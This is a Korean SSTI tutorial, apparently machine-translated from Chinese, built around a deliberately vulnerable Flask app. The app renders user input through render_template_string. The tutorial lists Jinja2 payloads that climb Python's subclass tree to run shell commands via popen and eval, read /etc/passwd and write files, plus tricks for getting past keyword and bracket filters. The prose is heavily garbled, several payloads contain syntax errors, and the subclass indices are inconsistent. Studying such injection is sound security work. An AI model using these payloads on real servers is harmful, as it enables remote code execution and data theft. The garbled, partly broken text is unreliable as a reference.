인 SSTI, 서버 템플릿 주입 원인 서버가 각각의 다양한 결과 악성 콘텐츠를 삽입하는 목표 컴파일 렌더링하는 프로세스의 일부로서 템플릿 웹 콘텐츠로 사용하여 사용자를 수행하여 사용자의 입력을 받는다 문제의 종류.
우선, 내가 pycharm를 사용하기 때문에 직접 프로젝트를 생성 할 수 있도록, (SSTI 플라스크 프레임에 대해 이야기 생각)의 간단한 플라스크를 작성할 수 있습니다.
다음과 같이 app.py 코드는 다음과 같습니다
from flask import Flask#flask需要自己安装
from flask import render_template
from flask import request
app = Flask(__name__)
@app.route('/',methods=['GET','POST'])
def hello_world():
return render_template("index.html", title='Home', user=request.args.get("key"))
if __name__ == '__main__':
app.run()
다음과 같이 그리고 폴더를 만들 :
템플릿 쓰기 index.html 파일을 다음에 (위치 폴더 템플릿 파일이있는 렌더링)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>This is a test</title>
</head>
<body>
<h1>hello.{{ user }}</h1>
</body>
</html>
이 시점에서 얻을 수 실행할 수있는
매개 변수를 전달 127.0.0.1:5000 개방 key={{2*3}}
: 볼 수있는
이 시간에와 템플릿이 이미 통제 할 수없는 렌더링 때문에 실행하지 못했습니다. 그러나 우리는 app.py에 넣어 때
def hello_world():
return render_template("index.html", title='Home', user=request.args.get("key"))
대체
def hello_world():
code = request.args.get('id')
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(code)
return render_template_string(template)
직접적 문자열 출력으로 변수의 내용에, 다음과 같은 결과가 발생할 수 있기 때문에이 경우, 문제는 큰 :
당신은 ID가 밖으로 계산이 직접에 볼 수 있습니다. 우리는 템플릿에 주입 할 수있다.
여기에서 우리는 몇 가지 특별한 수업에 파이썬을 알고 있어야합니다 :
__class__#返回调用的参数类型。
__base__#返回基类
__mro__#允许我们在当前Python环境下追溯继承树
__subclasses__()#返回子类
대부분의 형틀 SSTI POC에서 간단한 페이로드는 같은 (객체 클래스는 모든 클래스에 대한 기초 클래스이다) 우리는 객체 클래스의 클래스를 사용할 수있는 방법을 찾는 것이다 "".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('dir').read()
134 소집단 객체 클래스 (OS의 사용이다. _wrap_close 클래스) 및 초기화 재사용 전역 변수는 명령 실행의 목적을 달성한다.
"".__class__
반환 <class 'str'>
"".__class__.bases__
반환 (<class 'object'>,)
"".__class__.__bases__[0].__subclasses__
모든 클래스의 반환
"".__class__.__bases__[0].__subclasses__[133]
반환되는 <class 'os._wrap_close'>
__init__
클래스를 초기화하는 데 사용되는
__globals__
모든 글로벌 변수 및 매개 변수와 방법을 찾을 수 있습니다
사용 __globals__['popen']
는 popen 메소드를 호출을
: 여기에 몇 가지 페이로드입니다
읽기 / 쓰기 파일 :
[].__class__.bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.bases__[0].__subclasses__()[40]('/var/www/html').write('test')
명령 :
"".__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read()
"".__class__.bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()
우회 팁이 있습니다 :
- 키워드 필터링, 당신이 접합을 사용할 수 있습니다, 이러한 필터로
globals
, 당신은 사용할 수 있습니다'glo'+'bals'
. - 필터링 된 괄호를 사용할 수 있습니다
__getitem__
원래 들어, :''.__class__.__mro__[2]
교체 할 수 있습니다''.__class__.__mro__.getitem__(2)
- 필터링
{{}}
가능한{%%}
대신.
당신이 P는 소를 볼 수있는 다른 정보와 페이로드가 있습니다 https://p0sec.net/index.php/archives/120/
참고 기사 :
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/hackxf/p/10480071.html